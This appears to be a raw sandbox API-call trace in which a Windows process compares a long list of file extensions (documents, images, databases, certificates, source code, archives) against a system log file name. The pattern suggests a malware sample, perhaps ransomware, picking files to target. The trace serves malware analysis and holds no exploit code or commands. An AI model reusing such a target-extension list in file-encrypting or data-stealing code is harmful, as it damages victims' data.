lstrcmpiW (lpString1=".ai4", lpString2="LOG1") returned -1 [0223.502] lstrlenW (lpString=".ai5") returned 4 [0223.502] lstrcmpiW (lpString1=".ai5", lpString2="LOG1") returned -1 [0223.502] lstrlenW (lpString=".ai6") returned 4 [0223.502] lstrcmpiW (lpString1=".ai6", lpString2="LOG1") returned -1 [0223.502] lstrlenW (lpString=".ai7") returned 4 [0223.502] lstrcmpiW (lpString1=".ai7", lpString2="LOG1") returned -1 [0223.502] lstrlenW (lpString=".ai8") returned 4 [0223.503] lstrcmpiW (lpString1=".ai8", lpString2="LOG1") returned -1 [0223.503] lstrlenW (lpString=".anim") returned 5 [0223.503] lstrcmpiW (lpString1=".anim", lpString2=".LOG1") returned -1 [0223.503] lstrlenW (lpString=".arw") returned 4 [0223.503] lstrcmpiW (lpString1=".arw", lpString2="LOG1") returned -1 [0223.503] lstrlenW (lpString=".as") returned 3 [0223.503] lstrcmpiW (lpString1=".as", lpString2="OG1") returned -1 [0223.503] lstrlenW (lpString=".asa") returned 4 [0223.503] lstrcmpiW (lpString1=".asa", lpString2="LOG1") returned -1 [0223.503] lstrlenW (lpString=".asc") returned 4 [0223.503] lstrcmpiW (lpString1=".asc", lpString2="LOG1") returned -1 [0223.503] lstrlenW (lpString=".ascx") returned 5 [0223.503] lstrcmpiW (lpString1=".ascx", lpString2=".LOG1") returned -1 [0223.503] lstrlenW (lpString=".asm") returned 4 [0223.503] lstrcmpiW (lpString1=".asm", lpString2="LOG1") returned -1 [0223.503] lstrlenW (lpString=".asmx") returned 5 [0223.503] lstrcmpiW (lpString1=".asmx", lpString2=".LOG1") returned -1 [0223.503] lstrlenW (lpString=".asp") returned 4 [0223.503] lstrcmpiW (lpString1=".asp", lpString2="LOG1") returned -1 [0223.503] lstrlenW (lpString=".aspx") returned 5 [0223.503] lstrcmpiW (lpString1=".aspx", lpString2=".LOG1") returned -1 [0223.503] lstrlenW (lpString=".asr") returned 4 [0223.503] lstrcmpiW (lpString1=".asr", lpString2="LOG1") returned -1 [0223.503] lstrlenW (lpString=".asx") returned 4 [0223.503] lstrcmpiW (lpString1=".asx", lpString2="LOG1") returned -1 [0223.503] lstrlenW (lpString=".avi") returned 4 [0223.503] lstrcmpiW (lpString1=".avi", lpString2="LOG1") returned -1 [0223.503] lstrlenW (lpString=".avs") returned 4 [0223.503] lstrcmpiW (lpString1=".avs", lpString2="LOG1") returned -1 [0223.503] lstrlenW (lpString=".backup") returned 7 [0223.503] lstrcmpiW (lpString1=".backup", lpString2="CD.LOG1") returned -1 [0223.504] lstrlenW (lpString=".bak") returned 4 [0223.504] lstrcmpiW (lpString1=".bak", lpString2="LOG1") returned -1 [0223.504] lstrlenW (lpString=".bay") returned 4 [0223.504] lstrcmpiW (lpString1=".bay", lpString2="LOG1") returned -1 [0223.504] lstrlenW (lpString=".bd") returned 3 [0223.504] lstrcmpiW (lpString1=".bd", lpString2="OG1") returned -1 [0223.504] lstrlenW (lpString=".bin") returned 4 [0223.504] lstrcmpiW (lpString1=".bin", lpString2="LOG1") returned -1 [0223.504] lstrlenW (lpString=".bmp") returned 4 [0223.504] lstrcmpiW (lpString1=".bmp", lpString2="LOG1") returned -1 [0223.504] lstrlenW (lpString=".bz2") returned 4 [0223.504] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0223.504] lstrlenW (lpString=".c") returned 2 [0223.504] lstrcmpiW (lpString1=".c", lpString2="G1") returned -1 [0223.504] lstrlenW (lpString=".cdr") returned 4 [0223.504] lstrcmpiW (lpString1=".cdr", lpString2="LOG1") returned -1 [0223.504] lstrlenW (lpString=".cer") returned 4 [0223.504] lstrcmpiW (lpString1=".cer", lpString2="LOG1") returned -1 [0223.504] lstrlenW (lpString=".cf") returned 3 [0223.504] lstrcmpiW (lpString1=".cf", lpString2="OG1") returned -1 [0223.504] lstrlenW (lpString=".cfc") returned 4 [0223.504] lstrcmpiW (lpString1=".cfc", lpString2="LOG1") returned -1 [0223.504] lstrlenW (lpString=".cfm") returned 4 [0223.504] lstrcmpiW (lpString1=".cfm", lpString2="LOG1") returned -1 [0223.504] lstrlenW (lpString=".cfml") returned 5 [0223.504] lstrcmpiW (lpString1=".cfml", lpString2=".LOG1") returned -1 [0223.504] lstrlenW (lpString=".cfu") returned 4 [0223.504] lstrcmpiW (lpString1=".cfu", lpString2="LOG1") returned -1 [0223.504] lstrlenW (lpString=".chm") returned 4 [0223.504] lstrcmpiW (lpString1=".chm", lpString2="LOG1") returned -1 [0223.504] lstrlenW (lpString=".cin") returned 4 [0223.505] lstrcmpiW (lpString1=".cin", lpString2="LOG1") returned -1 [0223.505] lstrlenW (lpString=".class") returned 6 [0223.505] lstrcmpiW (lpString1=".class", lpString2="D.LOG1") returned -1 [0223.505] lstrlenW (lpString=".clx") returned 4 [0223.505] lstrcmpiW (lpString1=".clx", lpString2="LOG1") returned -1 [0223.505] lstrlenW (lpString=".config") returned 7 [0223.505] lstrcmpiW (lpString1=".config", lpString2="CD.LOG1") returned -1 [0223.505] lstrlenW (lpString=".cpp") returned 4 [0223.505] lstrcmpiW (lpString1=".cpp", lpString2="LOG1") returned -1 [0223.505] lstrlenW (lpString=".cr2") returned 4 [0223.505] lstrcmpiW (lpString1=".cr2", lpString2="LOG1") returned -1 [0223.505] lstrlenW (lpString=".crt") returned 4 [0223.505] lstrcmpiW (lpString1=".crt", lpString2="LOG1") returned -1 [0223.505] lstrlenW (lpString=".crw") returned 4 [0223.505] lstrcmpiW (lpString1=".crw", lpString2="LOG1") returned -1 [0223.505] lstrlenW (lpString=".cs") returned 3 [0223.505] lstrcmpiW (lpString1=".cs", lpString2="OG1") returned -1 [0223.505] lstrlenW (lpString=".css") returned 4 [0223.505] lstrcmpiW (lpString1=".css", lpString2="LOG1") returned -1 [0223.505] lstrlenW (lpString=".csv") returned 4 [0223.505] lstrcmpiW (lpString1=".csv", lpString2="LOG1") returned -1 [0223.505] lstrlenW (lpString=".cub") returned 4 [0223.505] lstrcmpiW (lpString1=".cub", lpString2="LOG1") returned -1 [0223.505] lstrlenW (lpString=".dae") returned 4 [0223.505] lstrcmpiW (lpString1=".dae", lpString2="LOG1") returned -1 [0223.505] lstrlenW (lpString=".dat") returned 4 [0223.505] lstrcmpiW (lpString1=".dat", lpString2="LOG1") returned -1 [0223.505] lstrlenW (lpString=".db") returned 3 [0223.505] lstrcmpiW (lpString1=".db", lpString2="OG1") returned -1 [0223.505] lstrlenW (lpString=".dbf") returned 4 [0223.505] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0223.505] lstrlenW (lpString=".dbx") returned 4 [0223.505] lstrcmpiW (lpString1=".dbx", lpString2="LOG1") returned -1 [0223.505] lstrlenW (lpString=".dc3") returned 4 [0223.505] lstrcmpiW (lpString1=".dc3", lpString2="LOG1") returned -1 [0223.506] lstrlenW (lpString=".dcm") returned 4 [0223.506] lstrcmpiW (lpString1=".dcm", lpString2="LOG1") returned -1 [0223.506] lstrlenW (lpString=".dcr") returned 4 [0223.506] lstrcmpiW (lpString1=".dcr", lpString2="LOG1") returned -1 [0223.506] lstrlenW (lpString=".der") returned 4 [0223.506] lstrcmpiW (lpString1=".der", lpString2="LOG1") returned -1 [0223.506] lstrlenW (lpString=".dib") returned 4 [0223.506] lstrcmpiW (lpString1=".dib", lpString2="LOG1") returned -1 [0223.506] lstrlenW (lpString=".dic") returned 4 [0223.506] lstrcmpiW (lpString1=".dic", lpString2="LOG1") returned -1 [0223.506] lstrlenW (lpString=".dif") returned 4 [0223.506] lstrcmpiW (lpString1=".dif", lpString2="LOG1") returned -1 [0223.506] lstrlenW (lpString=".divx") returned 5 [0223.506] lstrcmpiW (lpString1=".divx", lpString2=".LOG1") returned -1 [0223.506] lstrlenW (lpString=".djvu") returned 5 [0223.506] lstrcmpiW (lpString1=".djvu", lpString2=".LOG1") returned -1 [0223.506] lstrlenW (lpString=".dng") returned 4 [0223.506] lstrcmpiW (lpString1=".dng", lpString2="LOG1") returned -1 [0223.506] lstrlenW (lpString=".doc") returned 4 [0223.506] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0223.506] lstrlenW (lpString=".docm") returned 5 [0223.506] lstrcmpiW (lpString1=".docm", lpString2=".LOG1") returned -1 [0223.506] lstrlenW (lpString=".docx") returned 5 [0223.506] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0223.506] lstrlenW (lpString=".dot") returned 4 [0223.506] lstrcmpiW (lpString1=".dot", lpString2="LOG1") returned -1 [0223.506] lstrlenW (lpString=".dotm") returned 5 [0223.506] lstrcmpiW (lpString1=".dotm", lpString2=".LOG1") returned -1 [0223.506] lstrlenW (lpString=".dotx") returned 5 [0223.506] lstrcmpiW (lpString1=".dotx", lpString2=".LOG1") returned -1 [0223.506] lstrlenW (lpString=".dpx") returned 4 [0223.506] lstrcmpiW (lpString1=".dpx", lpString2="LOG1") returned -1 [0223.506] lstrlenW (lpString=".dqy") returned 4 [0223.506] lstrcmpiW (lpString1=".dqy", lpString2="LOG1") returned -1 [0223.506] lstrlenW (lpString=".dsn") returned 4 [0223.506] lstrcmpiW (lpString1=".dsn", lpString2="LOG1") returned -1 [0223.506] lstrlenW (lpString=".dt") returned 3 [0223.506] lstrcmpiW (lpString1=".dt", lpString2="OG1") returned -1 [0223.507] lstrlenW (lpString=".dtd") returned 4 [0223.507] lstrcmpiW (lpString1=".dtd", lpString2="LOG1") returned -1 [0223.507] lstrlenW (lpString=".dwg") returned 4 [0223.507] lstrcmpiW (lpString1=".dwg", lpString2="LOG1") returned -1 [0223.507] lstrlenW (lpString=".dwt") returned 4 [0223.507] lstrcmpiW (lpString1=".dwt", lpString2="LOG1") returned -1 [0223.507] lstrlenW (lpString=".dx") returned 3 [0223.507] lstrcmpiW (lpString1=".dx", lpString2="OG1") returned -1 [0223.507] lstrlenW (lpString=".dxf") returned 4 [0223.507] lstrcmpiW (lpString1=".dxf", lpString2="LOG1") returned -1 [0223.507] lstrlenW (lpString=".edml") returned 5 [0223.507] lstrcmpiW (lpString1=".edml", lpString2=".LOG1") returned -1 [0223.507] lstrlenW (lpString=".efd") returned 4 [0223.507] lstrcmpiW (lpString1=".efd", lpString2="LOG1") returned -1 [0223.507] lstrlenW (lpString=".elf") returned 4 [0223.507] lstrcmpiW (lpString1=".elf", lpString2="LOG1") returned -1 [0223.507] lstrlenW (lpString=".emf") returned 4 [0223.507] lstrcmpiW (lpString1=".emf", lpString2="LOG1") returned -1 [0223.507] lstrlenW (lpString=".emz") returned 4 [0223.507] lstrcmpiW (lpString1=".emz", lpString2="LOG1") returned -1 [0223.507] lstrlenW (lpString=".epf") returned 4 [0223.507] lstrcmpiW (lpString1=".epf", lpString2="LOG1") returned -1 [0223.507] lstrlenW (lpString=".eps") returned 4 [0223.507] lstrcmpiW (lpString1=".eps", lpString2="LOG1") returned -1 [0223.507] lstrlenW (lpString=".epsf") returned 5 [0223.507] lstrcmpiW (lpString1=".epsf", lpString2=".LOG1") returned -1 [0223.507] lstrlenW (lpString=".epsp") returned 5 [0223.507] lstrcmpiW (lpString1=".epsp", lpString2=".LOG1") returned -1 [0223.507] lstrlenW (lpString=".erf") returned 4 [0223.507] lstrcmpiW (lpString1=".erf", lpString2="LOG1") returned -1 [0223.507] lstrlenW (lpString=".exr") returned 4 [0223.507] lstrcmpiW (lpString1=".exr", lpString2="LOG1") returned -1 [0223.507] lstrlenW (lpString=".f4v") returned 4 [0223.507] lstrcmpiW (lpString1=".f4v", lpString2="LOG1") returned -1 [0223.507] lstrlenW (lpString=".fido") returned 5 [0223.507] lstrcmpiW (lpString1=".fido", lpString2=".LOG1") returned -1 [0223.507] lstrlenW (lpString=".flm") returned 4 [0223.508] lstrcmpiW (lpString1=".flm", lpString2="LOG1") returned -1 [0223.508] lstrlenW (lpString=".flv") returned 4 [0223.508] lstrcmpiW (lpString1=".flv", lpString2="LOG1") returned -1 [0223.508] lstrlenW (lpString=".frm") returned 4 [0223.508] lstrcmpiW (lpString1=".frm", lpString2="LOG1") returned -1 [0223.508] lstrlenW (lpString=".fxg") returned 4 [0223.508] lstrcmpiW (lpString1=".fxg", lpString2="LOG1") returned -1 [0223.508] lstrlenW (lpString=".geo") returned 4 [0223.508] lstrcmpiW (lpString1=".geo", lpString2="LOG1") returned -1 [0223.508] lstrlenW (lpString=".gif") returned 4 [0223.508] lstrcmpiW (lpString1=".gif", lpString2="LOG1") returned -1 [0223.508] lstrlenW (lpString=".grs") returned 4 [0223.508] lstrcmpiW (lpString1=".grs", lpString2="LOG1") returned -1 [0223.508] lstrlenW (lpString=".gz") returned 3 [0223.508] lstrcmpiW (lpString1=".gz", lpString2="OG1") returned -1 [0223.508] lstrlenW (lpString=".h") returned 2 [0223.508] lstrcmpiW (lpString1=".h", lpString2="G1") returned -1 [0223.508] lstrlenW (lpString=".hdr") returned 4 [0223.508] lstrcmpiW (lpString1=".hdr", lpString2="LOG1") returned -1 [0223.508] lstrlenW (lpString=".hpp") returned 4 [0223.508] lstrcmpiW (lpString1=".hpp", lpString2="LOG1") returned -1 [0223.508] lstrlenW (lpString=".hta") returned 4 [0223.508] lstrcmpiW (lpString1=".hta", lpString2="LOG1") returned -1 [0223.508] lstrlenW (lpString=".htc") returned 4 [0223.508] lstrcmpiW (lpString1=".htc", lpString2="LOG1") returned -1 [0223.508] lstrlenW (lpString=".htm") returned 4 [0223.508] lstrcmpiW (lpString1=".htm", lpString2="LOG1") returned -1 [0223.508] lstrlenW (lpString=".html") returned 5 [0223.508] lstrcmpiW (lpString1=".html", lpString2=".LOG1") returned -1 [0223.508] lstrlenW (lpString=".icb") returned 4 [0223.508] lstrcmpiW (lpString1=".icb", lpString2="LOG1") returned -1 [0223.508] lstrlenW (lpString=".ics") returned 4 [0223.508] lstrcmpiW (lpString1=".ics", lpString2="LOG1") returned -1 [0223.508] lstrlenW (lpString=".iff") returned 4 [0223.508] lstrcmpiW (lpString1=".iff", lpString2="LOG1") returned -1 [0223.508] lstrlenW (lpString=".inc") returned 4 [0223.508] lstrcmpiW (lpString1=".inc", lpString2="LOG1") returned -1 [0223.509] lstrlenW (lpString=".indd") returned 5 [0223.509] lstrcmpiW (lpString1=".indd", lpString2=".LOG1") returned -1 [0223.509] lstrlenW (lpString=".ini") returned 4 [0223.509] lstrcmpiW (lpString1=".ini", lpString2="LOG1") returned -1 [0223.509] lstrlenW (lpString=".iqy") returned 4 [0223.509] lstrcmpiW (lpString1=".iqy", lpString2="LOG1") returned -1 [0223.509] lstrlenW (lpString=".j2c") returned 4 [0223.509] lstrcmpiW (lpString1=".j2c", lpString2="LOG1") returned -1 [0223.509] lstrlenW (lpString=".j2k") returned 4 [0223.509] lstrcmpiW (lpString1=".j2k", lpString2="LOG1") returned -1 [0223.509] lstrlenW (lpString=".java") returned 5 [0223.509] lstrcmpiW (lpString1=".java", lpString2=".LOG1") returned -1 [0223.509] lstrlenW (lpString=".jp2") returned 4 [0223.509] lstrcmpiW (lpString1=".jp2", lpString2="LOG1") returned -1 [0223.509] lstrlenW (lpString=".jpc") returned 4 [0223.509] lstrcmpiW (lpString1=".jpc", lpString2="LOG1") returned -1 [0223.509] lstrlenW (lpString=".jpe") returned 4 [0223.509] lstrcmpiW (lpString1=".jpe", lpString2="LOG1") returned -1 [0223.509] lstrlenW (lpString=".jpeg") returned 5 [0223.509] lstrcmpiW (lpString1=".jpeg", lpString2=".LOG1") returned -1 [0223.509] lstrlenW (lpString=".jpf") returned 4 [0223.509] lstrcmpiW (lpString1=".jpf", lpString2="LOG1") returned -1 [0223.509] lstrlenW (lpString=".jpg") returned 4 [0223.509] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0223.509] lstrlenW (lpString=".jpx") returned 4 [0223.509] lstrcmpiW (lpString1=".jpx", lpString2="LOG1") returned -1 [0223.509] lstrlenW (lpString=".js") returned 3 [0223.509] lstrcmpiW (lpString1=".js", lpString2="OG1") returned -1 [0223.509] lstrlenW (lpString=".jsf") returned 4 [0223.509] lstrcmpiW (lpString1=".jsf", lpString2="LOG1") returned -1 [0223.509] lstrlenW (lpString=".json") returned 5 [0223.509] lstrcmpiW (lpString1=".json", lpString2=".LOG1") returned -1 [0223.509] lstrlenW (lpString=".jsp") returned 4 [0223.509] lstrcmpiW (lpString1=".jsp", lpString2="LOG1") returned -1 [0223.509] lstrlenW (lpString=".kdc") returned 4 [0223.509] lstrcmpiW (lpString1=".kdc", lpString2="LOG1") returned -1 [0223.509] lstrlenW (lpString=".kmz") returned 4 [0223.510] lstrcmpiW (lpString1=".kmz", lpString2="LOG1") returned -1 [0223.510] lstrlenW (lpString=".kwm") returned 4 [0223.510] lstrcmpiW (lpString1=".kwm", lpString2="LOG1") returned -1 [0223.510] lstrlenW (lpString=".lasso") returned 6 [0223.510] lstrcmpiW (lpString1=".lasso", lpString2="D.LOG1") returned -1 [0223.510] lstrlenW (lpString=".lbi") returned 4 [0223.510] lstrcmpiW (lpString1=".lbi", lpString2="LOG1") returned -1 [0223.510] lstrlenW (lpString=".lgf") returned 4 [0223.510] lstrcmpiW (lpString1=".lgf", lpString2="LOG1") returned -1 [0223.510] lstrlenW (lpString=".lgp") returned 4 [0223.510] lstrcmpiW (lpString1=".lgp", lpString2="LOG1") returned -1 [0223.510] lstrlenW (lpString=".log") returned 4 [0223.510] lstrcmpiW (lpString1=".log", lpString2="LOG1") returned -1 [0223.510] lstrlenW (lpString=".m1v") returned 4 [0223.510] lstrcmpiW (lpString1=".m1v", lpString2="LOG1") returned -1 [0223.510] lstrlenW (lpString=".m4a") returned 4 [0223.510] lstrcmpiW (lpString1=".m4a", lpString2="LOG1") returned -1 [0223.510] lstrlenW (lpString=".m4v") returned 4 [0223.510] lstrcmpiW (lpString1=".m4v", lpString2="LOG1") returned -1 [0223.510] lstrlenW (lpString=".max") returned 4 [0223.510] lstrcmpiW (lpString1=".max", lpString2="LOG1") returned -1 [0223.510] lstrlenW (lpString=".md") returned 3 [0223.510] lstrcmpiW (lpString1=".md", lpString2="OG1") returned -1 [0223.510] lstrlenW (lpString=".mda") returned 4 [0223.510] lstrcmpiW (lpString1=".mda", lpString2="LOG1") returned -1 [0223.510] lstrlenW (lpString=".mdb") returned 4 [0223.510] lstrcmpiW (lpString1=".mdb", lpString2="LOG1") returned -1 [0223.510] lstrlenW (lpString=".mde") returned 4 [0223.510] lstrcmpiW (lpString1=".mde", lpString2="LOG1") returned -1 [0223.510] lstrlenW (lpString=".mdf") returned 4 [0223.510] lstrcmpiW (lpString1=".mdf", lpString2="LOG1") returned -1 [0223.510] lstrlenW (lpString=".mdw") returned 4 [0223.510] lstrcmpiW (lpString1=".mdw", lpString2="LOG1") returned -1 [0223.510] lstrlenW (lpString=".mef") returned 4 [0223.510] lstrcmpiW (lpString1=".mef", lpString2="LOG1") returned -1 [0223.510] lstrlenW (lpString=".mft") returned 4 [0223.511] lstrcmpiW (lpString1=".mft", lpString2="LOG1") returned -1 [0223.511] lstrlenW (lpString=".mfw") returned 4 [0223.511] lstrcmpiW (lpString1=".mfw", lpString2="LOG1") returned -1 [0223.511] lstrlenW (lpString=".mht") returned 4 [0223.511] lstrcmpiW (lpString1=".mht", lpString2="LOG1") returned -1 [0223.511] lstrlenW (lpString=".mhtml") returned 6 [0223.511] lstrcmpiW (lpString1=".mhtml", lpString2="D.LOG1") returned -1 [0223.511] lstrlenW (lpString=".mka") returned 4 [0223.511] lstrcmpiW (lpString1=".mka", lpString2="LOG1") returned -1 [0223.511] lstrlenW (lpString=".mkidx") returned 6 [0223.511] lstrcmpiW (lpString1=".mkidx", lpString2="D.LOG1") returned -1 [0223.511] lstrlenW (lpString=".mkv") returned 4 [0223.511] lstrcmpiW (lpString1=".mkv", lpString2="LOG1") returned -1 [0223.511] lstrlenW (lpString=".mos") returned 4 [0223.511] lstrcmpiW (lpString1=".mos", lpString2="LOG1") returned -1 [0223.511] lstrlenW (lpString=".mov") returned 4 [0223.511] lstrcmpiW (lpString1=".mov", lpString2="LOG1") returned -1 [0223.511] lstrlenW (lpString=".mp3") returned 4 [0223.511] lstrcmpiW (lpString1=".mp3", lpString2="LOG1") returned -1 [0223.511] lstrlenW (lpString=".mp4") returned 4 [0223.511] lstrcmpiW (lpString1=".mp4", lpString2="LOG1") returned -1 [0223.511] lstrlenW (lpString=".mpeg") returned 5 [0223.511] lstrcmpiW (lpString1=".mpeg", lpString2=".LOG1") returned 1 [0223.511] lstrlenW (lpString=".mpg") returned 4 [0223.511] lstrcmpiW (lpString1=".mpg", lpString2="LOG1") returned -1 [0223.511] lstrlenW (lpString=".mpv") returned 4 [0223.511] lstrcmpiW (lpString1=".mpv", lpString2="LOG1") returned -1 [0223.511] lstrlenW (lpString=".mrw") returned 4 [0223.511] lstrcmpiW (lpString1=".mrw", lpString2="LOG1") returned -1 [0223.512] lstrlenW (lpString=".msg") returned 4 [0223.512] lstrcmpiW (lpString1=".msg", lpString2="LOG1") returned -1 [0223.512] lstrlenW (lpString=".mxl") returned 4 [0223.512] lstrcmpiW (lpString1=".mxl", lpString2="LOG1") returned -1 [0223.512] lstrlenW (lpString=".myd") returned 4 [0223.512] lstrcmpiW (lpString1=".myd", lpString2="LOG1") returned -1 [0223.512] lstrlenW (lpString=".myi") returned 4 [0223.512] lstrcmpiW (lpString1=".myi", lpString2="LOG1") returned -1 [0223.512] lstrlenW (lpString=".nef") returned 4 [0223.512] lstrcmpiW (lpString1=".nef", lpString2="LOG1") returned -1 [0223.512] lstrlenW (lpString=".nrw") returned 4 [0223.512] lstrcmpiW (lpString1=".nrw", lpString2="LOG1") returned -1 [0223.512] lstrlenW (lpString=".obj") returned 4 [0223.512] lstrcmpiW (lpString1=".obj", lpString2="LOG1") returned -1 [0223.512] lstrlenW (lpString=".odb") returned 4 [0223.512] lstrcmpiW (lpString1=".odb", lpString2="LOG1") returned -1 [0223.512] lstrlenW (lpString=".odc") returned 4 [0223.512] lstrcmpiW (lpString1=".odc", lpString2="LOG1") returned -1 [0223.512] lstrlenW (lpString=".odm") returned 4 [0223.512] lstrcmpiW (lpString1=".odm", lpString2="LOG1") returned -1 [0223.512] lstrlenW (lpString=".odp") returned 4 [0223.512] lstrcmpiW (lpString1=".odp", lpString2="LOG1") returned -1 [0223.512] lstrlenW (lpString=".ods") returned 4 [0223.512] lstrcmpiW (lpString1=".ods", lpString2="LOG1") returned -1 [0223.512] lstrlenW (lpString=".oft") returned 4 [0223.512] lstrcmpiW (lpString1=".oft", lpString2="LOG1") returned -1 [0223.512] lstrlenW (lpString=".one") returned 4 [0223.512] lstrcmpiW (lpString1=".one", lpString2="LOG1") returned -1 [0223.512] lstrlenW (lpString=".onepkg") returned 7 [0223.512] lstrcmpiW (lpString1=".onepkg", lpString2="CD.LOG1") returned -1 [0223.512] lstrlenW (lpString=".onetoc2") returned 8 [0223.512] lstrcmpiW (lpString1=".onetoc2", lpString2="BCD.LOG1") returned -1 [0223.512] lstrlenW (lpString=".opt") returned 4 [0223.512] lstrcmpiW (lpString1=".opt", lpString2="LOG1") returned -1 [0223.512] lstrlenW (lpString=".oqy") returned 4 [0223.512] lstrcmpiW (lpString1=".oqy", lpString2="LOG1") returned -1 [0223.513] lstrlenW (lpString=".orf") returned 4 [0223.513] lstrcmpiW (lpString1=".orf", lpString2="LOG1") returned -1 [0223.513] lstrlenW (lpString=".p12") returned 4 [0223.513] lstrcmpiW (lpString1=".p12", lpString2="LOG1") returned -1 [0223.513] lstrlenW (lpString=".p7b") returned 4 [0223.513] lstrcmpiW (lpString1=".p7b", lpString2="LOG1") returned -1 [0223.513] lstrlenW (lpString=".p7c") returned 4 [0223.513] lstrcmpiW (lpString1=".p7c", lpString2="LOG1") returned -1 [0223.513] lstrlenW (lpString=".pam") returned 4 [0223.513] lstrcmpiW (lpString1=".pam", lpString2="LOG1") returned -1 [0223.513] lstrlenW (lpString=".pbm") returned 4 [0223.513] lstrcmpiW (lpString1=".pbm", lpString2="LOG1") returned -1 [0223.513] lstrlenW (lpString=".pct") returned 4 [0223.513] lstrcmpiW (lpString1=".pct", lpString2="LOG1") returned -1 [0223.513] lstrlenW (lpString=".pcx") returned 4 [0223.513] lstrcmpiW (lpString1=".pcx", lpString2="LOG1") returned -1 [0223.513] lstrlenW (lpString=".pdd") returned 4 [0223.513] lstrcmpiW (lpString1=".pdd", lpString2="LOG1") returned -1 [0223.513] lstrlenW (lpString=".pdf") returned 4 [0223.513] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0223.513] lstrlenW (lpString=".pdp") returned 4 [0223.513] lstrcmpiW (lpString1=".pdp", lpString2="LOG1") returned -1 [0223.513] lstrlenW (lpString=".pef") returned 4 [0223.513] lstrcmpiW (lpString1=".pef", lpString2="LOG1") returned -1 [0223.513] lstrlenW (lpString=".pem") returned 4 [0223.513] lstrcmpiW (lpString1=".pem", lpString2="LOG1") returned -1 [0223.513] lstrlenW (lpString=".pff") returned 4 [0223.513] lstrcmpiW (lpString1=".pff", lpString2="LOG1") returned -1 [0223.514] lstrlenW (lpString=".pfm") returned 4 [0223.514] lstrcmpiW (lpString1=".pfm", lpString2="LOG1") returned -1 [0223.514] lstrlenW (lpString=".pfx") returned 4 [0223.514] lstrcmpiW (lpString1=".pfx", lpString2="LOG1") returned -1 [0223.514] lstrlenW (lpString=".pgm") returned 4 [0223.514] lstrcmpiW (lpString1=".pgm", lpString2="LOG1") returned -1 [0223.514] lstrlenW (lpString=".php") returned 4 [0223.514] lstrcmpiW (lpString1=".php", lpString2="LOG1") returned -1 [0223.514] lstrlenW (lpString=".php3") returned 5 [0223.514] lstrcmpiW (lpString1=".php3", lpString2=".LOG1") returned 1 [0223.514] lstrlenW (lpString=".php4") returned 5 [0223.514] lstrcmpiW (lpString1=".php4", lpString2=".LOG1") returned 1 [0223.514] lstrlenW (lpString=".php5") returned 5 [0223.514] lstrcmpiW (lpString1=".php5", lpString2=".LOG1") returned 1 [0223.514] lstrlenW (lpString=".phtml") returned 6 [0223.514] lstrcmpiW (lpString1=".phtml", lpString2="D.LOG1") returned -1 [0223.514] lstrlenW (lpString=".pict") returned 5 [0223.621] lstrcmpiW (lpString1=".pict", lpString2=".LOG1") returned 1 [0223.621] lstrlenW (lpString=".pl") returned 3 [0223.621] lstrcmpiW (lpString1=".pl", lpString2="OG1") returned -1 [0223.621] lstrlenW (lpString=".pls") returned 4 [0223.621] lstrcmpiW (lpString1=".pls", lpString2="LOG1") returned -1 [0223.621] lstrlenW (lpString=".pm") returned 3 [0223.621] lstrcmpiW (lpString1=".pm", lpString2="OG1") returned -1 [0223.621] lstrlenW (lpString=".png") returned 4 [0223.621] lstrcmpiW (lpString1=".png", lpString2="LOG1") returned -1 [0223.621] lstrlenW (lpString=".pnm") returned 4 [0223.621] lstrcmpiW (lpString1=".pnm", lpString2="LOG1") returned -1 [0223.621] lstrlenW (lpString=".pot") returned 4 [0223.621] lstrcmpiW (lpString1=".pot", lpString2="LOG1") returned -1 [0223.621] lstrlenW (lpString=".potm") returned 5 [0223.621] lstrcmpiW (lpString1=".potm", lpString2=".LOG1") returned 1 [0223.621] lstrlenW (lpString=".potx") returned 5 [0223.621] lstrcmpiW (lpString1=".potx", lpString2=".LOG1") returned 1 [0223.621] lstrlenW (lpString=".ppa") returned 4 [0223.621] lstrcmpiW (lpString1=".ppa", lpString2="LOG1") returned -1 [0223.621] lstrlenW (lpString=".ppam") returned 5 [0223.621] lstrcmpiW (lpString1=".ppam", lpString2=".LOG1") returned 1 [0223.621] lstrlenW (lpString=".ppm") returned 4 [0223.621] lstrcmpiW (lpString1=".ppm", lpString2="LOG1") returned -1 [0223.622] lstrlenW (lpString=".pps") returned 4 [0223.622] lstrcmpiW (lpString1=".pps", lpString2="LOG1") returned -1 [0223.622] lstrlenW (lpString=".ppsm") returned 5 [0223.622] lstrcmpiW (lpString1=".ppsm", lpString2=".LOG1") returned 1 [0223.622] lstrlenW (lpString=".ppt") returned 4 [0223.622] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0223.622] lstrlenW (lpString=".pptm") returned 5 [0223.622] lstrcmpiW (lpString1=".pptm", lpString2=".LOG1") returned 1 [0223.622] lstrlenW (lpString=".pptx") returned 5 [0223.622] lstrcmpiW (lpString1=".pptx", lpString2=".LOG1") returned 1 [0223.622] lstrlenW (lpString=".prn") returned 4 [0223.622] lstrcmpiW (lpString1=".prn", lpString2="LOG1") returned -1 [0223.622] lstrlenW (lpString=".ps") returned 3 [0223.622] lstrcmpiW (lpString1=".ps", lpString2="OG1") returned -1 [0223.622] lstrlenW (lpString=".psb") returned 4 [0223.622] lstrcmpiW (lpString1=".psb", lpString2="LOG1") returned -1 [0223.622] lstrlenW (lpString=".psd") returned 4 [0223.622] lstrcmpiW (lpString1=".psd", lpString2="LOG1") returned -1 [0223.622] lstrlenW (lpString=".pst") returned 4 [0223.622] lstrcmpiW (lpString1=".pst", lpString2="LOG1") returned -1 [0223.622] lstrlenW (lpString=".ptx") returned 4 [0223.622] lstrcmpiW (lpString1=".ptx", lpString2="LOG1") returned -1 [0223.622] lstrlenW (lpString=".pub") returned 4 [0223.622] lstrcmpiW (lpString1=".pub", lpString2="LOG1") returned -1 [0223.622] lstrlenW (lpString=".pwm") returned 4 [0223.622] lstrcmpiW (lpString1=".pwm", lpString2="LOG1") returned -1 [0223.622] lstrlenW (lpString=".pxr") returned 4 [0223.622] lstrcmpiW (lpString1=".pxr", lpString2="LOG1") returned -1 [0223.622] lstrlenW (lpString=".py") returned 3 [0223.623] lstrcmpiW (lpString1=".py", lpString2="OG1") returned -1 [0223.623] lstrlenW (lpString=".qt") returned 3 [0223.623] lstrcmpiW (lpString1=".qt", lpString2="OG1") returned -1 